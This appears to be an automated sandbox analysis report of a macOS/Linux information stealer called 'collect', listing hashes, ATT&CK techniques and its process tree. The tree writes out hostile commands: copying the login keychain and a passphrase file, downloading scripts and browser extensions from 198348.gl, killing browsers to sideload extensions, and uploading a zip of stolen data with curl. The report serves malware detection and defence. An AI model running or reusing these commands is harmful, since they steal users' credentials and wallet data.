d2a9f121d62057f5f3fd74aab66946512b0f7b0976c315f735464a408af29113

Analysis

max time kernel
28s
max time network
28s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
25/09/2026, 12:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
collect
Size 79KB
Sample260925-przc3aeb73
SHA256 d2a9f121d62057f5f3fd74aab66946512b0f7b0976c315f735464a408af29113
MD5 05959feba3b81dda8289c7ccf986a84f
SHA1 6c882504efe40b98a8e9201ac559296c015d3c58
SHA512 c3b913ff29114499ae4d837c5c623270b405f01dbf1bb509ff508407fbca802c21884a510147f5b5471971119668e1f620076108a2afb8f5670418216274fcf8
SSDEEP 1536:SMxSBKhDWo5Yo2nFAd3NheC43s9Zo2eR8kGl5V78HeNe7ZT7tkKW1n+FV8mc5xAf:SGB2sER8kIzzMZT7t3W1nw
TLSH
T122830893F59C8B7025ED867DD880243462C74A1B88693C90F09F79CC3F786A9B175A6F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
907	chmod

Enumerates running processes
Discovers information about currently running processes on the system

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org

Checks CPU configuration 1 TTPs 11 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 10 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	sysctl
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/21/stat	killall
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/293/status	pkill
File opened for reading	/proc/14/cmdline	pkill
File opened for reading	/proc/13/stat	killall
File opened for reading	/proc/151/cmdline	killall
File opened for reading	/proc/162/status	pkill
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/3/stat	killall
File opened for reading	/proc/583/cmdline	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/27/cmdline	pkill
File opened for reading	/proc/636/stat	killall
File opened for reading	/proc/647/status	pkill
File opened for reading	/proc/29/cmdline	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/23/stat	killall
File opened for reading	/proc/139/cmdline	pkill
File opened for reading	/proc/298/status	pkill
File opened for reading	/proc/110/cmdline	pkill
File opened for reading	/proc/9/cmdline	pkill
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/sys/kernel/osrelease	pkill
File opened for reading	/proc/27/stat	killall
File opened for reading	/proc/103/status	pkill
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/25/stat	killall
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/29/status	pkill
File opened for reading	/proc/113/stat	killall
File opened for reading	/proc/23/cmdline	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/41/stat	killall
File opened for reading	/proc/11/cmdline	pkill
File opened for reading	/proc/293/cmdline	pkill
File opened for reading	/proc/4/status	pkill
File opened for reading	/proc/filesystems	find
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/7/stat	killall
File opened for reading	/proc/291/status	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/5/cmdline	pkill
File opened for reading	/proc/21/status	pkill
File opened for reading	/proc/24/stat	killall
File opened for reading	/proc/585/status	pkill
File opened for reading	/proc/647/cmdline	pkill
File opened for reading	/proc/865/status	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/110/status	pkill
File opened for reading	/proc/235/stat	killall
File opened for reading	/proc/585/cmdline	pkill
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/865/status	pkill
File opened for reading	/proc/12/stat	killall
File opened for reading	/proc/299/stat	killall
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/299/cmdline	pkill
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/20/stat	killall
File opened for reading	/proc/2/stat	killall
File opened for reading	/proc/139/stat	killall
File opened for reading	/proc/313/status	pkill
File opened for reading	/proc/13/status	pkill
File opened for reading	/proc/13/status	pkill

System Network Configuration Discovery 1 TTPs 8 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
913	bash
658	rm
677	curl
851	cat
857	rm
861	stat
876	curl
901	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Username	collect
File opened for modification	/tmp/lab_ip.txt	collect
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/ledger_replaced.txt	collect
File opened for modification	/tmp/sh-thd.mBYhNw	collect
File opened for modification	/tmp/sh-thd.EKyOFc	collect
File opened for modification	/tmp/lab_chrome_ext.zip	curl
File opened for modification	/tmp/lab_chrome_ext_install.py	curl
File opened for modification	/tmp/lab_collect.lockdir/pid	collect
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/UserInformation	collect
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/trezor_replaced.txt	collect
File opened for modification	/tmp/lab_tg.log	collect
File opened for modification	/tmp/sh-thd.Zjk2bU	collect
File opened for modification	/tmp/lab_cloud_expand.py	curl
File opened for modification	/tmp/updstat_final.txt	collect
File opened for modification	/tmp/lab_firefox_patch_signing.rb	curl
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Password	collect
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/installed.txt	collect
File opened for modification	/tmp/sh-thd.mEmTcB	collect
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Env/process_env.txt	collect
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/installed.txt	touch
File opened for modification	/tmp/lab_chrome_ext_install.rb	curl
File opened for modification	/tmp/lab_firefox_ext.zip	curl
File opened for modification	/tmp/lab_firefox_ext.xpi	curl
File opened for modification	/tmp/lab_collect.log	collect
File opened for modification	/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/installed.txt	touch
File opened for modification	/tmp/lab_asar_scan.py	curl
File opened for modification	/tmp/lab_firefox_ext_install.sh	curl
File opened for modification	/tmp/updstat.txt	collect

/tmp/collect
/tmp/collect
1⤵
- Writes file to tmp directory
PID:647
- /bin/mkdir
  mkdir /tmp/lab_collect.lockdir
  2⤵
  PID:653
- /bin/rm
  rm -rf /tmp/8db3c924efc282972b0cb4800a4f6e381783699124 /tmp/8db3c924efc282972b0cb4800a4f6e381783699124.zip
  2⤵
  - System Network Configuration Discovery
  PID:658
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124
  2⤵
  PID:662
- /bin/cat
  cat /.passphrase
  2⤵
  PID:667
- /usr/bin/id
  /usr/bin/id -un
  2⤵
  PID:672
- /bin/rm
  rm -f /tmp/lab_trezor_hijack.log
  2⤵
  PID:676
- /usr/bin/curl
  curl -fsS --max-time 3 http://api.ipify.org/
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  PID:677
- /bin/rm
  rm -f /tmp/lab_ledger_hijack.log
  2⤵
  PID:682
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps
  2⤵
  PID:683
- /usr/bin/touch
  touch /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/installed.txt
  2⤵
  - Writes file to tmp directory
  PID:685
- /bin/rm
  rm -f /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/trezor_injected.txt
  2⤵
  PID:687
- /bin/grep
  grep -E "^status=" /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/trezor_replaced.txt
  2⤵
  PID:689
- /usr/bin/head
  head -1
  2⤵
  PID:690
- /usr/bin/cut
  cut "-d=" -f2-
  2⤵
  PID:691
- /bin/grep
  grep -Eqx "status=(replaced|already)" /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/trezor_replaced.txt
  2⤵
  PID:692
- /bin/grep
  grep -Eqx "status=(replaced|already)" /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/ledger_replaced.txt
  2⤵
  PID:693
- /bin/cat
  cat
  2⤵
  PID:695
- /bin/cat
  cat
  2⤵
  PID:697
- /bin/cp
  cp -f /Library/Keychains/login.keychain-db /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/login.keychain-db
  2⤵
  PID:699
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/AI
  2⤵
  PID:705
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Cloud
  2⤵
  PID:704
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Env/files /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Env/dotfiles
  2⤵
  PID:707
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Steam
  2⤵
  PID:709
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Chat
  2⤵
  PID:711
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Wallets
  2⤵
  PID:712
- /bin/mkdir
  mkdir -p "/tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Telegram Desktop/tdata"
  2⤵
  PID:740
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Chat/asar_hits
  2⤵
  PID:744
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps
  2⤵
  PID:745
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/FileGrabber/kdbx /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/FileGrabber/pdf /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/FileGrabber/txt /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/FileGrabber/docs
  2⤵
  PID:746
- /bin/sleep
  sleep 180
  2⤵
  PID:748
- /usr/bin/curl
  curl -fsSk --max-time 30 https://198348.gl/asar_scan.py -o /tmp/lab_asar_scan.py
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:749
- /usr/bin/touch
  touch /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/installed.txt
  2⤵
  - Writes file to tmp directory
  PID:750
- /usr/bin/head
  head -20
  2⤵
  PID:753
- /bin/grep
  grep -E "^status=" /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/trezor_replaced.txt
  2⤵
  PID:755
- /usr/bin/head
  head -1
  2⤵
  PID:757
- /usr/bin/cut
  cut "-d=" -f2-
  2⤵
  PID:758
- /usr/bin/head
  head -20
  2⤵
  PID:760
- /usr/bin/find
  find "/Library/Group Containers" -maxdepth 8 -type d -name tdata
  2⤵
  PID:759
- /usr/bin/find
  find /Library/Containers -maxdepth 8 -type d -name tdata
  2⤵
  PID:762
- /usr/bin/head
  head -10
  2⤵
  PID:763
- /usr/bin/head
  head -10
  2⤵
  PID:766
- /usr/bin/find
  find "/Library/Application Support" -maxdepth 5 -type d -name tdata
  2⤵
  - Reads runtime system information
  PID:765
- /usr/bin/head
  head -10
  2⤵
  PID:769
- /bin/ls
  ls -d "/Library/Group Containers/*Telegram*/**/tdata"
  2⤵
  PID:768
- /bin/mkdir
  mkdir -p /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Cloud
  2⤵
  PID:824
- /usr/bin/curl
  curl -fsSk --max-time 45 https://198348.gl/cloud_expand.py -o /tmp/lab_cloud_expand.py
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:825
- /bin/cat
  cat /tmp/lab_ip.txt
  2⤵
  - System Network Configuration Discovery
  PID:851
- /sbin/sysctl
  sysctl -n hw.model
  2⤵
  - Reads CPU attributes
  PID:855
- /usr/bin/find
  find /tmp/8db3c924efc282972b0cb4800a4f6e381783699124 -depth -type d -empty -delete
  2⤵
  PID:856
- /bin/rm
  rm -f /tmp/8db3c924efc282972b0cb4800a4f6e381783699124.zip
  2⤵
  - System Network Configuration Discovery
  PID:857
- /usr/bin/stat
  stat "-f%z" /tmp/8db3c924efc282972b0cb4800a4f6e381783699124.zip
  2⤵
  - System Network Configuration Discovery
  PID:861
- /usr/bin/curl
  curl -fsSk --max-time 180 -F "txid=lab-a320ade23adb6f5d" -F "file=@/tmp/8db3c924efc282972b0cb4800a4f6e381783699124.zip" https://198348.gl/upload.php
  2⤵
  - Checks CPU configuration
  PID:862
- /bin/cat
  cat /tmp/updstat_final.txt
  2⤵
  PID:867
- /bin/date
  date -u "+%Y-%m-%dT%H:%M:%SZ"
  2⤵
  PID:868
- /usr/bin/killall
  killall "Google Chrome"
  2⤵
  - Reads runtime system information
  PID:869
- /usr/bin/killall
  killall "Brave Browser"
  2⤵
  - Reads runtime system information
  PID:870
- /usr/bin/pkill
  pkill -9 -x "Google Chrome"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:871
- /usr/bin/pkill
  pkill -9 -f "Google Chrome Helper"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:872
- /usr/bin/pkill
  pkill -9 -f "Google Chrome"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:873
- /usr/bin/pkill
  pkill -9 -f "Brave Browser"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:874
- /bin/sleep
  sleep 2
  2⤵
  PID:875
- /usr/bin/curl
  curl -fsSk --max-time 60 https://198348.gl/chrome-ext.zip -o /tmp/lab_chrome_ext.zip
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:876
- /usr/bin/curl
  curl -fsSk --max-time 60 https://198348.gl/chrome_ext_install.py -o /tmp/lab_chrome_ext_install.py
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:878
- /usr/bin/curl
  curl -fsSk --max-time 60 https://198348.gl/chrome_ext_install.rb -o /tmp/lab_chrome_ext_install.rb
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:880
- /bin/rm
  rm -rf "/Library/Application Support/.lab_chrome_ext"
  2⤵
  PID:882
- /bin/mkdir
  mkdir -p "/Library/Application Support/.lab_chrome_ext"
  2⤵
  PID:883
- /usr/bin/find
  find "/Library/Application Support/.lab_chrome_ext" -name manifest.json -type f
  2⤵
  PID:887
- /usr/bin/head
  head -1
  2⤵
  PID:888
- /bin/date
  date -u "+%Y-%m-%dT%H:%M:%SZ"
  2⤵
  PID:889
- /usr/bin/killall
  killall firefox
  2⤵
  - Reads runtime system information
  PID:890
- /usr/bin/killall
  killall Firefox
  2⤵
  - Reads runtime system information
  PID:891
- /usr/bin/pkill
  pkill -9 -x firefox
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:892
- /usr/bin/pkill
  pkill -9 -f Firefox.app
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:893
- /usr/bin/pkill
  pkill -9 -f /Firefox
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:894
- /bin/sleep
  sleep 3
  2⤵
  PID:895
- /usr/bin/killall
  killall -9 firefox
  2⤵
  - Reads runtime system information
  PID:898
- /usr/bin/killall
  killall -9 Firefox
  2⤵
  - Reads runtime system information
  PID:899
- /usr/bin/pkill
  pkill -9 -f Firefox.app
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:900
- /usr/bin/curl
  curl -fsSk --max-time 60 https://198348.gl/firefox-ext.zip -o /tmp/lab_firefox_ext.zip
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:901
- /usr/bin/curl
  curl -fsSk --max-time 60 https://198348.gl/firefox_ext_install.sh -o /tmp/lab_firefox_ext_install.sh
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:903
- /usr/bin/curl
  curl -fsSk --max-time 60 https://198348.gl/firefox_patch_signing.rb -o /tmp/lab_firefox_patch_signing.rb
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:905
- /bin/chmod
  chmod +x /tmp/lab_firefox_ext_install.sh
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /usr/bin/curl
  curl -fsSk --max-time 60 https://198348.gl/firefox-ext.xpi -o /tmp/lab_firefox_ext.xpi
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:908
- /bin/mkdir
  mkdir -p "/Library/Application Support/.lab_firefox_ext"
  2⤵
  PID:910
- /bin/cp
  cp -f /tmp/lab_firefox_patch_signing.rb "/Library/Application Support/.lab_firefox_ext/firefox_patch_signing.rb"
  2⤵
  PID:911
- /bin/bash
  /bin/bash /tmp/lab_firefox_ext_install.sh /tmp/lab_firefox_ext.zip "[email protected]"
  2⤵
  - System Network Configuration Discovery
  PID:913
- - /bin/mkdir
    mkdir -p "/Library/Application Support/.lab_firefox_ext/src"
    3⤵
    PID:914
- - /bin/rm
    rm -rf "/Library/Application Support/.lab_firefox_ext/src"
    3⤵
    PID:915
- - /bin/mkdir
    mkdir -p "/Library/Application Support/.lab_firefox_ext/src"
    3⤵
    PID:916
- - /usr/bin/find
    find "/Library/Application Support/.lab_firefox_ext/src" -name manifest.json -type f
    3⤵
    PID:919
- - /usr/bin/head
    head -1
    3⤵
    PID:920
- /bin/sed
  sed -n "s/^lab-ff-ext: profiles_patched //p"
  2⤵
  PID:923
- /usr/bin/tail
  tail -1
  2⤵
  PID:924
- /bin/sed
  sed -n "s/^lab-ff-ext: apps_patched //p"
  2⤵
  PID:927
- /usr/bin/tail
  tail -1
  2⤵
  PID:928
- /bin/sed
  sed -n "s/^lab-ff-ext: profiles_sideloaded //p"
  2⤵
  PID:931
- /usr/bin/tail
  tail -1
  2⤵
  PID:932
- /bin/sed
  sed -n "s/^lab-ff-ext: profiles_registered //p"
  2⤵
  PID:935
- /usr/bin/tail
  tail -1
  2⤵
  PID:936
- /bin/sed
  sed -n "s/^lab-ff-ext: unpacked //p"
  2⤵
  PID:939
- /usr/bin/tail
  tail -1
  2⤵
  PID:940
- /bin/sed
  sed -n "s/^lab-ff-ext: signing_patched //p"
  2⤵
  PID:943
- /usr/bin/tail
  tail -1
  2⤵
  PID:944
- /usr/bin/killall
  killall firefox
  2⤵
  - Reads runtime system information
  PID:945
- /usr/bin/killall
  killall Firefox
  2⤵
  - Reads runtime system information
  PID:946
- /usr/bin/pkill
  pkill -9 -f Firefox.app
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:947
- /bin/sleep
  sleep 1
  2⤵
  PID:948
- /usr/bin/killall
  killall -9 Firefox
  2⤵
  - Reads runtime system information
  PID:949
- /bin/rm
  rm -rf /tmp/lab_collect.lockdir
  2⤵
  PID:950

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

installed.txt

Path /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/installed.txt
Size 86B
SHA256 7ccc5f334029dd247b4c268a5fc18d86747e7b3344e934d23b0cb78fe31303c8
MD5 31948c9feacf69cf3bcd4094ee3ffbea
SHA1 c32c9a3a418e89b24930a336683c3d43064540ad
SHA512 5c684e6803bb7d99e79058508f267c733f6306fe50124630f8d61cef4f45ca0825030aada0f945b1f364868c3a3d79254d605216fe5a40bb1e8b884e4562e21b
TLSH
T117A0128D864451181477039A0088A0713493404E98C00072C0A00007700C04B22C1B42
MD5 SHA1 SHA512 TLSH

Submit Download

installed.txt

Path /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/installed.txt
Size 174B
SHA256 775f24a382a1f768a45ab35d04c770452b81ddbd1d67f9704c517b4e1ff49f97
MD5 1c3604aad9923cd031b4ddad50c91740
SHA1 6a42479ed1ea77e182caa22503dd0a2a1898997e
SHA512 0b25900b5b42070e715666a71fc8a97a674f9ceb40a38eed1302ed60f5091c7165498f67c5fd31260e621edfa837cf0069f9d209ee2db4f116d5372fd27f48e2
TLSH
T149C012CA8781522828BB13AE0088A0B634A3844ED88410B2D0A0220BB04D18B22A2F02
MD5 SHA1 SHA512 TLSH

Submit Download

ledger_replaced.txt

Path /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/ledger_replaced.txt
Size 72B
SHA256 7bb75c07e8c8a471f0937d9ef0d8f46a4be7d0882378371416318e0eb8be8a0b
MD5 f0d7111c69fe0f1a1e6bc9e3d9d8aa08
SHA1 f50df838d7d78bcbddf4e7b8de773dc66e2c2368
SHA512 1463b8bb271e5422ce3dd6dd404a64d35f5b2d4a0a31401f83f367ed619694261352b65b55e5fe031c7b61f46088a8cdc0723f72715af0ad7206c7ba0c3231b9
TLSH
T135A022C20300032C383F03AE2082A0F828A2888CC0A202F2A0C0300FF0000822322F02
MD5 SHA1 SHA512 TLSH

Submit Download

trezor_replaced.txt

Path /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/trezor_replaced.txt
Size 71B
SHA256 121d6a1ba5157f08efa2ca743b76637107cf6b5f84423be7348ae88c09e6cf75
MD5 e2a4c0c421e6edf346fe812265359613
SHA1 67daf1fe4cd724d6f92181a7a95a5dbb8b71f824
SHA512 377bddd900c79c7f47c7bfd59c1eedad146311a190e842452d14663cc5d678c6291a99f3691240bef8f025ba34bd6286b3a2c1f9b5641f41f98a5750d4bdeade
TLSH
T10CA022CA0B80A22C383F03EE20CAA0B03CA380CE80E200B280C0200BF0000822302F03
MD5 SHA1 SHA512 TLSH

Submit Download

UserInformation

Path /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/UserInformation
Size 116B
SHA256 50a437ed516c8211aa5f9571de2808a93a50b926af8dc06802203576001239e1
MD5 ecbeae8336c9d1c2aa8fdc8f52145b29
SHA1 577f6548e49a0d0de8e8d1521b3b90476b810bd7
SHA512 2f63962cceb793f11d37171f6b852699ee81829d330ee84a0319d4d9d859ae835e46288589ed43a79b04b0d6df372e85f60f9b54be4b92bd12b9f8ee346e1e4f
TLSH
T1D9B09B34D25F1D451745D09591951E405584CCD125594C5C10ED8E4866AB4255816053
MD5 SHA1 SHA512 TLSH

Submit Download

UserInformation

Path /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/UserInformation
Size 95B
SHA256 4816f942d2917cacd6996bcf5db0e2832ca968df2c23322f16715d21c8bdfc61
MD5 75b1938e8a290b2e04e3c19c01737e43
SHA1 e20e0a5643a7c7c74f5d73a73d059d47b8369327
SHA512 f41b4a17675c2b65451f5781ffba3a2d2d3ba25968b0370900b78ba2cc231647491dfa7a75d147db4cbf9c4466f1a9319d7b9e8ccf8ed63ee188d3793f9d85dd
TLSH
T128B0123092DF1C441342C0D1D1C10F9106C8CCC11B5B1C8C20ECCE0C23FB424840E013
MD5 SHA1 SHA512 TLSH

Submit Download

Username

Path /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Username
Size 4B
SHA256 4813494d137e1631bba301d5acab6e7bb7aa74ce1185d456565ef51d737677b2
MD5 63a9f0ea7bb98050796b649e85481845
SHA1 dc76e9f0c0006e8f919e0c515c66dbba3982f785
SHA512 99adc231b045331e514a516b4b7680f588e3823213abe901738bc3ad67b2f6fcb3c64efb93d18002588d3ccc1a49efbae1ce20cb43df36b38651f11fa75678e8
MD5 SHA1 SHA512

Submit Download

lab_asar_scan.py

Path /tmp/lab_asar_scan.py
Size 5KB
SHA256 987286efa64469ececea38f9c28b149e17c77d83d0827b148255190ab088c4d2
MD5 9ae95f6ce1de04e87e69febf794726d1
SHA1 a6855b29ddcf2a784a982bd16bfd3253068c2e00
SHA512 e882cad9de83111452be74f288f2447f03ab4e63072086a1d87b684f01833d5bc2f34eaece928f5f30a5d36edab7755ea2da47ce6deda793261520b67c605b46
SSDEEP 96:mtumwfWADt7gmr7AeFCjCAeyxNTBi7Tk+O/VhBqbJqJRYIw+PM+nEUyQ:YuNfWADt7gmrMwCjZBxN98T5oPBqbMDX
TLSH
T119C1E8536DFA5561D3A7A17E1C52E103331AFC4B68465454F88CD29C2FE903BD2B58AC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lab_chrome_ext.zip

Path /tmp/lab_chrome_ext.zip
Size 90KB
SHA256 42100f28917d8b7fea1507d1686d00f6de85c0c7340f7ccdc82bb5a1b7c0b178
MD5 4384b12de8df38cf650c02cec616d103
SHA1 af94aa3a8620a4cde31b364004e8a19c686c25ed
SHA512 01d5a2ee828df0e31464f268c00c07170398e1805cd867d8cb1634bd7e25c39484a7974c7142f146cb36f27f926809205ecdf900a7489087fd2e0d9076607b35
SSDEEP 1536:p6vuH0ZNwM0ZcjYsHM/a7OhVN//fgvO+H7A6GlOryIsZNQPTfl+MOonf:cuKNwTZ6YmM/TVBfgvDH7pLG8YMB
TLSH
T1FF9302B47DA300DDC6431775AA1205AD27E7C2347D2DE14947F814E1CCB5AC2A9AFCAE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lab_chrome_ext_install.py

Path /tmp/lab_chrome_ext_install.py
Size 22KB
SHA256 8a92febf163718500718395e67790d216594cce9aab68c4044e098cb4efed318
MD5 79d19084531566de4fbf533d0e8cceb0
SHA1 e344e0baf1ec8ec2262760a552707328c7c34a86
SHA512 9aaec3220c8f65f9807095e977180a7dc0098ffec5b28e20f20b0df28fbfbb65229ea7d444606e4cae7a46a719de3480962b4516204123ad5e00fb011091dccf
SSDEEP 384:awdmBj9jffplcIcmf+cydohz/yAcHMycbjdWO+CXon2:j8ffrfbhz/kvcbjdW1Cn
TLSH
T149A2A80AFC154919A7D3DB7C8D57E002B72AB80365883124B9DD56680F4E93861BBBFF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lab_cloud_expand.py

Path /tmp/lab_cloud_expand.py
Size 26KB
SHA256 b9ee4369e0aecd8141d113763448dba491bd96142b1415eb90aea003b00b3def
MD5 390e578dd641a3be33e4e3b5656fe527
SHA1 5d0c8833634585d1eabe85be0fa81e9c4c2bab58
SHA512 45c6dd99c40637a172434f692f3b159d89880a231fbd7455303378a28565cc275f3e7bcab96a973821dde02dc1cdd761b8788451d24b1ddbd358b32ec1fe064f
SSDEEP 384:T1kDMON76ROT6UH9ti18ThymLJTI8fAqEdTs9clY2BQF+p0vxqzrC5t:T1kDMON7IKVnLhyaI8fAFJkclBe
TLSH
T18CC2A445BE295952D38BD57EA82295113235BC037C80382CBEDD86AC1F4D47BE1FAADC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pid

Path /tmp/lab_collect.lockdir/pid
Size 4B
SHA256 ea2d64d25abb9578689df4ed87b08ce1781643b0e267687bf280adf59a0424a0
MD5 61fabfd67f6531550dd88a98ce705066
SHA1 e578aec88a26ae580f841592d1651b595dac46e4
SHA512 3b3fffbf82770e9d0c21f95ac1f72367c41fd19e7c79a8df821af746fe0df52c2190ac21e62c4792580cc76891a4a6e245e8f1d71035be3008d97cf82eb62d95
MD5 SHA1 SHA512

Submit Download

lab_firefox_ext.zip

Path /tmp/lab_firefox_ext.zip
Size 90KB
SHA256 aa5987b62f994fdd03d38a0231696a13c32d26461b6684c530f63bd32eaf338f
MD5 183fd08632be8a03ee16a71cfe674549
SHA1 937dd549183bf9cdfedb3a2a5cf946fb6502f5cb
SHA512 6222eb3c115427fca42268f809d5ca7e9f8f66d908af3b383323e5dc4c0fe856bdbd583a8c7191820e4affa81ef8989f29af97733adba6636c6ad489da9f9cfb
SSDEEP 1536:p6vuH0ZNwM0ZcjYsHM/a7OhVN//fgvO+H7A6GlOryIsZNQPTfl+MOond:cuKNwTZ6YmM/TVBfgvDH7pLG8YM3
TLSH
T1709301B07DA300D9C6431735AB0245AD27E7C234BD2DE14947F814E2CC75AC2A9AFCAE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

